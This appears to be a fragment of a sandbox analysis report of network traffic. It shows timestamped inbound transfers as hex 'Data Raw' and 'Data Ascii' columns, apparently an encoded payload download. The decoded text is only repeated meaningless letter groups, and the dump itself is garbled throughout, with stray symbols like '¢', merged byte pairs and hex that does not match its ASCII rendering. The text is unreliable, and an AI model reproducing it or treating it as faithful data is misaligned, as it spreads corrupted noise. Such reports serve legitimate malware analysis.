4e 4e 20 4e 4e 56 20 56 49 20 72 49 20 4e 43 49 20 4e 49 63 20 49 72 20 4e 56 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56
20 59 43 20 59 43 20 59 43 20 4e 4d 20 49 72 20 4c 20 56 4c 4d 20 4e 43 57 20 4e 56 56 20 59 43 20 72 49 20 59 43 20
59 72 20 49 63 20 4e 4e 72 20 49 59 20 4e 43 57 20 56 72 72 20 4e 59 43 20 72 49 20 59 63 20 59 72 20 49 72 20 4e 4e
72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 4e 59 56 20 4e 4c 72 20 49 72 20 4e 4e 4c 20 4e 56 4d 20
4e 43 57 20 4e 4e 56 20 59 4e 20 72 4c 20 56 20 59 4e 20 49 72 20 4e 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e
56 4e 20 72 49 20 59 43 20 4c 57 20 4c 57 20 56 4e 63 20 4e 4e 4d 20 4e 43

Data Ascii: MV NCW YC MM rl rW cC Ir NNr NNc NNN NNV VI rl NCI Nic Ir NVC NNM NCW NNV YC YC YC NM Ir L
VLM NCW NVV YC rl YC Yr Ic NNr IY NCW Vrr NYC rl Yc Yr Ir NNr NNM NCW NNV YV rl NYV NLr Ir NNL NVM NCW
NNV YN rL V YN Ir NcY NNM NCW NNV NVN rl YC LW LW VNc NNM NC

Data Raw: 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 72 49 20 59 43 20 4e 59 20 49 72 20 4e 4e 72 20 4e 4e
4d 20 63 72 20 4e 4e 4c 20 59 43 20 72 49 20 49 72 20 59 59 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56
2059 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 59
4320 59 72 20 59 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 56 20 59 4e 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e
72 20 4e 4e 4d 20 4e 43 4c 20 4e 4e 56 20 59 43 20 72 57 20 72 4e 20 63 20 49 4e 20 4e 4e 72 20 56 72 43 20 4e 4e 4e
20 4e 4e 56 20 59 43 20 4e 56 4d 20 59 43 20 59 72 20 63 57 20 4e 20 56 4e 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 59
49 20 4e 49 20 4e 49 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 56 72 20 72

Data Ascii: r NNM NCW NNr YC rl YC NY Ir NNr NNM cr NNL YC rl Ir YY Ir NNr NVM NCW NNV YC rl YC Yr Ir NNr NNM
NCW NNV YV rl YC Yr Yc NNY NNM NCW V YN rl YC YL Ir NNr NNM NCL NNV YC rW rN ¢ IN NNr VrC NNN NNV YC
NVM YC Yr cW N VNC NCW NNV Yc YI NI NIM Ir NNr NNM VVr r

Data Raw: 4e 56 20 59 63 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4c 63 20 4e 4e 56 20 4e 4d 49
2056 72 57 20 59 43 20 63 43 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 4e 72 20 59 43
20 4e 63 59 20 4e 56 57 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 56
20 4e 4e 72 20 4e 4d 72 20 4e 72 43 20 4e 4e 56 20 72 57 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20
4e 43 72 20 4e 4e 56 20 4e 43 49 20 72 57 20 59 43 20 59 72 20 72 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4c 20 4e 72
57 20 72 49 20 59 43 20 63 43 20 57 72 20 4e 43 57 20 4d 43 20 56 56 72 20 72 56 20 59 43 20 72 49 20 59 4e 20 4e 57
20 4e 4c 56 20 4e 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 63 20

Data Ascii: NV Yc rl YC Yr Ir NNV NNM Lc NNV NMI VW YC cC Ir NNr NNM NCW NNr YC NNr YC NcY NVW NNr NVM
NCW NNV YC rl YC Yr IV NNr NMr NrC NNV rW YI YC Yr IY NCY cW NCr NNV NCI rW YC Yr r NNr NNM NVr L NrwW rl
YC cC Wr NCW MC VVr rV YC rl YN NW NLV NcY NNM NCW NNc Ve

Data Raw: 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 49 49 20 4e 4e 56 20 59 43 20 59 49 20 59 56
20 72 4e 20 57 43 20 56 59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 56 56 63 20 56 72 59 20 49 72 20
4e 4e 72 20 4e 4e 4c 20 63 57 20 4d 4e 20 59 43 20 72 49 20 59 63 20 63 57 20 4e 43 49 20 4e 4e 72 20 4e 4e 4d 20 4e
43 4¢ 20 4c 4e 20 56 56 4d 20 72 49 20 59 43 20 63 43 20 4c 57 20 56 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 59
4d 20 59 4c 20 4c 43 20 63 56 20 49 4e 20 56 59 56 20 49 57 20 4e 43 59 20 4e 4e 63 20 72 57 20 4e 20 72 49 20 72 57
20 4e 56 63 20 4e 4e 72 20 4e 4e 57 20 63 57 20 4e 63 56 20 59 43 20 72 49 20 59 63 20 59 49 20 63 63 20 4e 56 4d 20
4d 4d 20 4e 56 72 20 4e 4e 4c 20 59 43 20 72 49 20 59 49 20 63 4c 20 56 43

Data Ascii: cM NC Yr Ir NVC Ve NI NNV YC Y1 YV rN WC VYY rM NCW NNV YN VN VVc VrY Ir NNr NNL cW MN YC rl
Yc cW NCI NNr NNM NCL LN VVM rl YC ¢C LW VNL NNM NCW NVV YM YL LC cV IN VYV IW NCY NNc rW N rl rw
NVe NNr NNW cW NcV YC rl Yc Yl cc NVM MM NVr NNL YC rl Yl cL VC

Data Raw: 59 43 20 59 56 20 56 72 20 56 43 20 49 63 20 4e 4e 4c 20 49 20 57 72 20 4e 4e 56 20 59 43 20 59 56 20 56 72
2072 43 20 49 63 20 57 20 63 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 4e 63 20 59 56 20 49 4d 20 4e 59 20 63
59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 72 72 20 59 56 20 72 4d 20 4d 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63
20 56 72 20 4e 49 20 72 49 20 59 4c 20 72 4e 20 4d 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 72 63 20 72 49
20 4d 4d 20 57 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 4e 63 20 59 43 20 72 57 20 4d 59 20 57 49 20 4e 4e
72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 72 72 20 59 43 20 4d 4c 20 4e 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4d 4e 20 49
56 20 72 49 20 59 4e 20 4d 57 20 4e 20 49 72 20 4e 4e 72 20 4e 4e 4c 20

Data Ascii: YC YV Vr VC Ic NNL I Wr NNV YC YV Vr rC Ic W cY NCW NNV Yr Ve Nc YV IM NY cY NCW NNV Yr Ve rr

YV rM MN NNM NCW NNc Vr NI rl YL rN MN NNM NCW NNc Vr rc rl MM WI NNr NNM NCY WC Nc YC rW MY WI NNr
NNM NCY WC rr YC ML N Ir NNr NNL MN IV rl YN MW N Ir NNr NNL

Data Raw: 43 20 4e 4e 56 20 57 4c 20 4e 59 20 4e 4e 56 20 59 43 20 59 49 20 56 72 20 72 43 20 49 63 20 57 20 57 20 4e
4357 20 4e 4e 56 20 59 72 20 56 63 20 4e 63 20 59 56 20 49 4d 20 4e 59 20 57 20 4e 43 57 20 4e 4e 56 20 59 72 20 56
63 20 72 72 20 59 56 20 72 4d 20 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 4e 49 20 72 49 20 59 4¢ 20 72
4e 20 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 72 63 20 72 49 20 4d 4d 20 72 56 20 4e 4e 72 20 4e 4e 4d
20 4e 43 59 20 57 43 20 4e 63 20 59 43 20 72 57 20 4d 59 20 72 56 20 4e 4e 72 20 4e 4e 4d 20 4e 4359 20 57 43 20 72
72 2059 43 20 56 63 20 49 72 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4d 4e 20 4e 4e 43 20 72 49 20 4d 59 20 4d 4d 20 59
72 2049 72 20 4e 4e 49 20 57 59 20 4d 57 20 4e 4e 72 20 72 57 20 4d 4d

Data Ascii: C NNV WL NY NNV YC Y1 Vr rC Ic W W NCW NNV Yr Ve Nc YV IM NY W NCW NNV Yr Ve rr YV M NY NNM
NCW NNc Vr NI rl YL rN NY NNM NCW NNc Vr rc rl MM rV NNr NNM NCY WC Nc YC rW MY rV NNr NNM NCY WC rr
YC Ve Ir Ir NNr NVM MN NNC rl MY MM Yr Ir NNI WY MW NNr rW MM

Data Raw: 20 57 59 20 59 4d 20 59 72 20 49 72 20 4e 56 43 20 4e 63 57 20 4e 4d 57 20 4e 4e 59 20 56 43 20 56 4c 49
2059 43 20 4c 63 20 49 63 20 57 43 20 56 4e 59 20 4e 43 49 20 4e 4e 56 20 59 63 20 4e 43 20 4e 56 43 20 56 43 4e 20
4e 4d 4e 20 4e 72 4e 20 4e 4d 4e 20 57 57 20 57 49 20 72 49 20 56 43 63 20 4c 63 20 4e 4e 72 20 49 72 20 4e 4e 72 20
4e 4e 43 20 56 20 4e 56 4c 20 59 43 20 72 49 20 59 63 20 56 4c 72 20 49 63 20 4e 20 56 4c 49 20 4e 43 49 20 4e 4e 56
20 59 56 20 4c 59 20 59 49 20 4c 57 20 57 56 20 57 43 20 57 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 59 20 57 4c 20 4e
4d 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 20 43 20 59 43 20 72 49 20 59 63 20 49 57 20 56 72 63 20 4e 4e 59 20 4e
4e 4d 20 4e 43 4d 20 57 4d 20 59 49 20 72 4d 20 56 43 20 4e 49 4d 20 4e 72

Data Ascii: WY YM Yr Ir NVC NcW NMW NNY VC VLI YC Lc Ic WC VNY NCI NNV Yc NC NVC VCN NMN NrN NMN WWwW
WIrl VCc Le NNr Ir NNr NNC V NVL YC rl Yc VLr Ic N VLINCINNV YV LY YI LW WV WC W NCW NNV Yc YY WL NMM
IrNNrNVM V C YC rl Yc IW Vrc NNY NNM NCM WM Y1 rM VC NIM Nr

Data Raw: 20 4e 4e 57 20 4e 4e 49 20 59 43 20 4c 43 20 59 72 20 4e 4c 43 20 4d 49 20 4e 4e 63 20 4e 4e 4d 20 4d 4d 20
4e 4e 63 20 4e 4c 72 20 72 56 20 56 57 20 59 72 20 72 4c¢ 20 4d 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 59 43 20 56
72 4d 20 56 57 20 63 49 20 4e 56 43 20 4e 4e 63 20 4e 4e 4d 20 4d 43 20 49 56 20 63 72 20 56 49 20 59 56 20 59 72 20
4e 4c 72 20 4e 4e 4c 20 4d 20 63 59 20 4e 4e 49 20 59 43 20 4e 72 43 20 59 56 20 63 49 20 4e 56 43 20 4e 4e 63 20 4e
4e 4d 20 56 4c 4c 20 49 59 20 4e 72 59 20 59 20 63 43 20 59 72 20 56 56 49 20 63 4d 20 4e 72 4d 20 4d 43 20 4e 4e 49
20 59 43 20 56 43 43 20 4e 20 4d 63 20 4e 4e 43 20 4e 4e 63 20 4e 4e 4d 20 56 72 4d 20 49 43 20 63 72 20 56 49 20 63
43 20 59 72 20 4e 49 63 20 4e 43 57 20 4e 72 4d 20 4d 43 20 4e 4e 49 20

Data Ascii: NNW NNI'YC LC Yr NLC MI NNc NNM MM NNc NLr rV VW Yr rL MC NNM NCW NNI YC VM VW cl NVC
NNc NNM MC IV cr VI YV Yr NLr NNL M cY NNI'YC NrC YV ¢l NVC NNc NNM VLL 1Y NrY Y ¢C Yr VVI ¢cM NrM MC NNI
YC VCC N Mc NNC NNc NNM VrM IC cr VI ¢cC Yr Nlc NCW NrM MC NNI
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:09 UTC 1386 IN Data Raw: 20 4e 43 72 20 4e 4e 72 20 4e 56 72 20 4e 43 57 20 56 4c 20 59 43 20 72 57 20 59 4e 20 59 72 20 49 72 20 4e
57 4e 20 4d 4c 20 4e 43 57 20 4e 4e 56 20 57 59 20 72 49 20 59 57 20 59 72 20 56 4e 4c 20 4e 4e 72 20 56 72 72 20 4e
43 57 20 57 63 20 59 43 20 4e 49 59 20 4e 4d 20 59 72 20 49 72 20 57 4e 20 4e 4e 4d 20 4e 43 43 20 4e 4e 56 20 4e 49
4c 20 72 49 20 4e 4d 57 20 59 59 20 63 49 20 4e 4e 72 20 63 63 20 72 63 20 4e 4e 56 20 59 43 20 56 59 20 59 43 20 63
4e 20 49 72 20 56 72 57 20 4e 4e 4d 20 56 4c 63 20 4e 4e 4c 20 4¢c 72 20 72 49 20 4e 57 43 20 4d 20 49 72 20 4e 4e 72
20 57 56 20 4e 43 57 20 4e 56 4c 20 59 43 20 4e 49 49 20 59 43 20 4e 49 4c 20 49 59 20 57 49 20 4e 4e 4d 20 4e 49 59
2049 49 20 59 43 20 72 49 20 56 4d 20 59 72 20 57 59 20 4e 4e 72 20 56
Data Ascii: NCr NNr NVr NCW VL YC rW YN Yr Ir NWN ML NCW NNV WY rl YW Yr VNL NNr Vir NCW Wc YC NIY NM
Yr Ir WN NNM NCC NNV NIL rl NMW YY cl NNr cc rc NNV YC VY YC cN Ir Viw NNM VLc NNL Lr rl NWC M Ir NNr WV
NCW NVL YC NIl YC NIL IY WINNM NIY [1 YC rl VM Yr WY NNr V

2021-10-29 18:29:09 UTC 1390 IN Data Raw: 4e 63 20 4d 56 20 4e 4e 72 20 4c 4c 20 72 57 20 59 43 20 59 72 20 4e 43 20 4e 56 4c 20 4e 4e 4d 20 4e 43 57
2072 4e 20 59 4e 20 56 43 20 59 4e 20 4e 57 20 49 63 20 57 4d 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 4d 4e 20 63 4c
2059 43 20 59 72 20 4e 4c 20 4e 4e 59 20 49 4e 20 4e 43 49 20 49 59 20 72 49 20 4c¢ 59 20 59 4e 20 59 72 20 49 72 20
56 72 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 43 4d 20 72 57 20 56 56 20 59 59 20 4e 4e 4c 20 4e 4e 56 20 4e 43
56 20 4e 43 49 20 4e 4e 56 20 59 43 20 59 4c 20 59 59 20 59 72 20 49 72 20 72 4c 20 4e 4e 63 20 4d 4c 20 4e 4e 4c 20
56 4c 20 59 43 20 4c 4c¢ 20 59 59 20 49 72 20 4e 4e 72 20 56 4c 4e 20 57 49 20 4e 4e 56 20 59 43 20 4e 43 59 20 59 4e
20 4e 49 20 49 59 20 49 4d 20 4e 4e 57 20 4e 56 63 20 4e 4e 4c 20 59 43
Data Ascii: Nc MV NNr LL rW YC Yr NC NVL NNM NCW rN YN VC YN NW Ic WM NNc NCW NNV MN cL YC Yr NL NNY
INNCITY rI LY YN Yr Ir Vic NNM NCW NNV NCM rW VV YY NNL NNV NCV NCI NNV YC YL YY Yr Ir rL NNc ML NNL
VL YCLL YY Ir NNr VLN WI NNV YC NCY YN NI'lY IM NNW NVc NNL YC

2021-10-29 18:29:09 UTC 1394 IN Data Raw: 4e 43 59 20 56 4e 4e 20 4e 43 57 20 4e 4e 4c 20 59 43 20 72 72 20 72 63 20 4e 72 72 20 49 72 20 4e 4e 59 20
4e 4e 4d 20 72 56 20 4e 43 49 20 59 56 20 4c 4c 20 59 4e 20 59 72 20 72 59 20 4e 4e 4e 20 4e 43 20 4e 56 72 20 4e 4e
4c 20 59 43 20 4e 63 4¢c 20 72 4d 20 4e 72 72 20 49 72 20 63 59 20 4e 4e 63 20 56 56 56 20 4e 56 63 20 4e 49 56 20 4c
4c 20 4e 20 59 59 20 4e 56 20 57 49 20 56 59 56 20 4e 56 72 20 63 4d 20 59 4e 20 63 72 20 4c 49 20 4e 4d 49 20 63 57
20 63 59 20 4e 4e 63 20 4e 4e 43 20 4e 4e 57 20 4e 49 49 20 4c 4c 20 4e 20 59 59 20 4e 4d 72 20 4e 56 4d 20 56 4c 43
20 4e 56 72 20 63 4d 20 59 4e 20 4e 57 63 20 59 63 20 4e 4d 72 20 63 57 20 63 59 20 4e 4e 63 20 56 4c 4e 20 4e 56 63
20 4e 4d 59 20 4c 4c 20 4e 20 59 59 20 56 4e 4c 20 57 49 20 56 4e 59 20
Data Ascii: NCY VNN NCW NNL YC rr rc Nrr Ir NNY NNM rV NCI YV LL YN Yr rY NNN NC NVr NNL YC NcL rM Nrr Ir cY
NNc VVV NVe NIV LL N YY NV WI VYV NVr cM YN cr LI NMI cW cY NNc NNC NNW NIl LL N YY NMr NVM VLC NVr cM
YN NWc Yc NMr cW cY NNc VLN NVe NMY LL N YY VNL WI VNY

2021-10-29 18:29:09 UTC 1398 IN Data Raw: 20 72 49 20 59 43 20 59 72 20 4e 4d 49 20 4e 4e 59 20 4e 49 72 20 4d 49 20 4e 4e 4c 20 59 43 20 63 20 59 43

2049 56 20 4e 43 57 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 63 72 20 72 49 20 4e 57 4c 20 57 20 4e 49
43 2057 4d 20 63 4d 20 4e 43 57 20 4e 57 56 20 4e 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 56 56 4d 20 4e 4e 4d 20
4e 59 49 20 4d 57 20 56 4e 4c 20 4c 59 20 4e 43 20 59 72 20 4e 56 20 4d 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59
43 20 4e 4d 4d 20 59 43 20 4e 43 4d 20 4e 43 59 20 4e 4c 43 20 4e 43 56 20 49 4d 20 4e 4e 56 20 4e 72 20 4e 4e 20 59
432059 72 20 49 72 20 4e 4e 72 20 56 72 72 20 4e 43 57 20 4e 57 4d 20 56 4e 20 56 43 4d 20 4c 4c 20 57 20 49 72 20
4e 72 20 4d 49 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 4d 57 20

Data Ascii: rl YC Yr NMI NNY Nir MI NNL YC ¢ YC IV NCW NNr NNM NCW NNV Ncr rl NWL W NIC WM cM NCW NWV
NN rl YC Yr Ir VWM NNM NYI MW VNL LY NC Yr NV MV NNM NCW NNV YC NMM YC NCM NCY NLC NCV IM NNV Nr
NN YC Yr Ir NNr Vir NCW NWM VN VCM LL W Ir Nr MI NCW NNV YC rl NMW

2021-10-29 18:29:09 UTC 1402 IN Data Raw: 49 20 59 43 20 59 49 20 4e 43 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 59 4e 20 4e 4e 56 20 4e
43 49 20 72 63 20 56 56 4c 20 4¢ 72 20 4e 72 4c¢ 20 4e 4e 72 20 4e 43 59 20 59 4c 20 4e 4e 56 20 59 43 20 72 49 20 59
43 20 4e 63 43 20 49 72 20 4e 56 57 20 4e 4e 59 20 4e 56 49 20 4e 43 43 20 56 4c 63 20 72 49 20 49 20 4e 4e 43 20 49
72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 56 4c 43 20 59 43 20 72 4d 20 4c 20 56 4e 57 20 63 72 20 4e 72 4d 20 4e 4e
4d 20 4c 4¢ 20 72 43 20 59 43 20 72 49 20 59 43 20 59 72 20 4e 57 72 20 4e 4e 72 20 57 20 72 72 20 4e 59 4d 20 4c 49
20 56 4e 56 20 59 43 20 4e 43 72 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 63 72 20 72 49 20 4e
4e 43 20 72 57 20 4e 49 59 20 4e 43 56 20 4e 72 63 20 4e 43 57 20 72 20 4e
Data Ascii: | YC YI NCc Yr Ir NNr NNM VYN NNV NCI rc VVL Lr NrL. NNr NCY YL NNV YC rl YC NcC Ir NVW NNY NVI
NCC VLc rl NNC Ir NNr NNM NCW VLC YC rM L VNW cr NrM NNM LL rC YC rl YC Yr NWr NNr W rr NYM LI VNV YC
NCr NV NNr NNM NCW NNV Ncr rl NNC rW NIY NCV Nrc NCW r N

2021-10-29 18:29:09 UTC 1406 IN Data Raw: 4e 4e 56 20 59 43 20 4e 63 63 20 59 43 20 4e 72 57 20 4e 43 72 20 4e 56 72 20 57 57 20 4c 4c 20 4e 4e 4c 20
59 43 20 4e 49 4c 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 56 4d 20 4e 43 57 20 4e 72 57 20 56 72 20 4c 49 20 4c
63 20 4e 56 43 20 49 59 20 56 72 4e 20 56 72 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 63 72 20 63 56 20 56
57 20 4e 43 4d 20 4e 43 72 20 4e 56 4c 20 63 4c 20 59 4e 20 4e 56 49 20 4e 49 4e 20 59 72 20 49 72 20 4e 4e 72 20 4e 4
e 4d 20 56 59 4e 20 4e 4e 56 20 57 63 20 72 4e 20 4e 4d 20 4c 56 20 56 4d 20 4e 4e 59 20 4e 4c 4c 20 56 4c¢ 72 20 4e 4e
56 20 59 43 20 72 49 20 59 43 20 4e 63 43 20 49 72 20 72 4e 20 4e 43 49 20 4e 49 43 20 4e 56 59 20 57 49 20 72 57 20
59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 59 20 4e 43 57 20 56 56
Data Ascii: NNV YC Ncc YC NrW NCr NVr WW LL NNL YC NIL YC Yr Ir NNr VVM NCW NrW Vr LI Lc NVC IY VIN VrV
NCW NNV YC rl Ncr ¢V VW NCM NCr NVL cL YN NVININ Yr Ir NNr NNM VYN NNV We rN NM LV VM NNY NLL VLr
NNV YC rl YC NcC Ir rN NCI NIC NVY WI rW YC Yr Ir NNr VrY NCW VV

2021-10-29 18:29:09 UTC 1410 IN Data Raw: 49 72 20 56 72 57 20 4e 4e 63 20 4e 4d 72 20 56 43 57 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20
4e 56 56 20 4e 4d 59 20 4e 43 4d 20 57 63 20 59 43 20 4e 49 4d 20 59 4e 20 56 59 43 20 56 72 59 20 4e 4e 72 20 4e 4e
4d 20 4e 43 57 20 4e 4e 56 20 4e 49 43 20 59 63 20 4e 4¢ 59 20 63 56 20 56 56 57 20 4e 43 43 20 56 72 57 20 4e 43 49
20 4e 63 72 20 4e 72 4d 20 72 49 20 59 43 20 59 72 20 49 72 20 56 72 72 20 4e 56 59 20 56 43 49 20 4e 56 43 20 4e 4c
4d 20 4c 49 20 4e 57 43 20 59 59 20 4e 4c 4d 20 56 4e 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20
59 49 20 4e 43 20 57 59 20 4e 49 43 20 57 57 20 56 56 72 20 4e 4e 4c 20 56 4e 59 20 4e 72 59 20 59 43 20 59 72 20 49
72 20 4e 4e 72 20 56 72 4c 20 4e 43 4e 20 59 56 20 59 4d 20 56 56 72 20 4c
Data Ascii: Ir Vi NNc NMr VCW YC rl YC Yr VNC NVV NMY NCM Wc YC NIM YN VYC VrY NNr NNM NCW NNV NIC
Yc NLY ¢V VVW NCC VrW NCI Ner NrM rl YC Yr Ir Vir NVY VCI NVC NLM LI NWC YY NLM VNN NNM NCW NNV YC N
IV YI NC WY NIC WW VVr NNL VNY NrY YC Yr Ir NNr VrL NCN YV YM VVr L

2021-10-29 18:29:09 UTC 1413 IN Data Raw: 20 49 4e 20 56 4e 4d 20 4e 4e 63 20 56 56 4e 20 56 4e 4c 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20
4e 56 56 20 4e 49 49 20 4e 56 72 20 4e 43 4d 20 59 43 20 4e 59 63 20 59 4e 20 4e 72 56 20 56 72 4e 20 4e 4e 72 20 4e
4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 49 43 20 59 63 20 56 56 4d 20 4c 57 20 56 57 20 4e 4e 57 20 56 4e 4d 20 4e 43 49
20 4e 4d 4d 20 4e 59 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 56 72 72 20 4e 56 59 20 4e 4e 59 20 4e 4e 56 20 4e 4d
4c 20 4c 4d 20 4e 59 57 20 59 59 20 4e 59 4d 20 56 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20
59 49 20 4e 4d 20 49 72 20 56 4e 4c 20 57 63 20 4e 57 56 20 4e 4e 4c 20 56 56 72 20 4e 72 57 20 59 43 20 59 72 20 49
72 20 4e 4e 72 20 56 72 4c 20 4e 43 4e 20 4e 43 63 20 72 57 20 4e 4d 59
Data Ascii: IN VNM NNc VVN VNL YC rl YC Yr VNC NVV NIl NVr NCM YC NYc YN NrV ViN NNr NNM NCW NNV NIC
Yc VWM LW VW NNW VNM NCI NMM NYN rl YC Yr Ir Vir NVY NNY NNV NML LM NYW YY NYM VNY NNM NCW NNV
YC NIV YINM Ir VNL We NWV NNL VVr NrW YC Yr Ir NNr VrL NCN NCc rW NMY
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:09 UTC 1418 IN Data Raw: 56 59 4e 20 72 49 20 56 56 59 20 59 59 20 4d 49 20 56 4e 57 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43
20 4e 49 56 20 59 49 20 4e 4c 57 20 57 56 20 57 49 20 4e 4e 4d 20 4e 57 43 20 4e 4e 4c 20 4e 4d 20 4e 59 4c¢ 20 59 43
2059 72 20 49 72 20 4e 4e 72 20 56 72 4c 20 4e 43 4e 20 4d 63 20 59 4d 20 56 72 57 20 59 43 20 56 56 63 20 49 59 20
49 57 20 56 56 43 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 49 43 20 63 56 20 4e 63 20 4e 56 4e 20 4e 43 4e 20
4e 43 57 20 4e 63 72 20 59 4e 20 72 20 4e 59 59 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 4c¢ 59 20 4e 56 43 20
56 4c 59 20 63 43 20 56 59 4e 20 59 72 20 4e 56 57 20 4e 4e 59 20 4d 4c 20 4e 57 63 20 4e 4e 56 20 59 43 20 72 49 20
59 43 20 4e 4d 63 20 57 56 20 4e 72 4d 20 4e 56 4e 20 4e 56 59 20 4e 4e 56
Data Ascii: VYN rl VVY YY MI VNW NNM NCW NNV YC NIV YI NLW WV WI NNM NWC NNL NM NYL YC Yr Ir NNr VrL
NCN Mc YM VIW YC VVc IY IW VVC NCW NNV YC rl NIC cV Nc NVN NCN NCW Ncr YN r NYY Yr Ir NNr NNM VLY N
VC VLY cC VYN Yr NVW NNY ML NWc NNV YC rl YC NMc WV NrM NVN NVY NNV

2021-10-29 18:29:09 UTC 1422 IN Data Raw: 20 4e 57 59 20 4e 43 72 20 4e 43 49 20 59 43 20 4d 59 20 4e 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e
4357 20 56 72 4c 20 59 43 20 57 49 20 72 49 20 56 56 4e 20 63 4d 20 72 59 20 4e 4e 57 20 56 4c 63 20 56 4e 57 20 59
4320 72 49 20 59 43 20 59 72 20 56 4e 43 20 4e 43 63 20 56 59 59 20 49 57 20 4e 4e 4d 20 59 43 20 49 43 20 72 49 20
4e 59 43 20 56 59 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 56 4e 4e 20 72 57 20 4e 4c 63 20 56 4e 20 49
59 20 4e 4e 72 20 56 43 20 4e 4e 4e 20 56 4e 56 20 4e 59 4c 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 72 4d 20 4e 4e
63 20 4e 63 59 20 72 49 20 72 4e 20 72 49 20 49 4c 20 59 56 20 72 20 56 56 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20
59 43 20 56 43 57 20 59 57 20 4c 4c 20 4e 43 4d 20 56 43 4c 20 4e 43 57 20
Data Ascii: NWY NCr NCI YC MY NYM Ir NNr NNM NCW VrL YC WI rl VVN cM rY NNW VLc VNW YC rl YC Yr VNC
NCc VYY IW NNM YC IC rl NYC VYY NNr NNM NCW NNV VNN rW NLc VN IY NNr VC NNN VNV NYL rl YC Yr Ir NrM
NNc NeY rl rN rl IL YV r VVL NNM NCW NNV YC VCW YW LL NCM VCL NCW

2021-10-29 18:29:09 UTC 1426 IN Data Raw: 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59
4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20
4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57
20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72
49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20
49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20
4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20
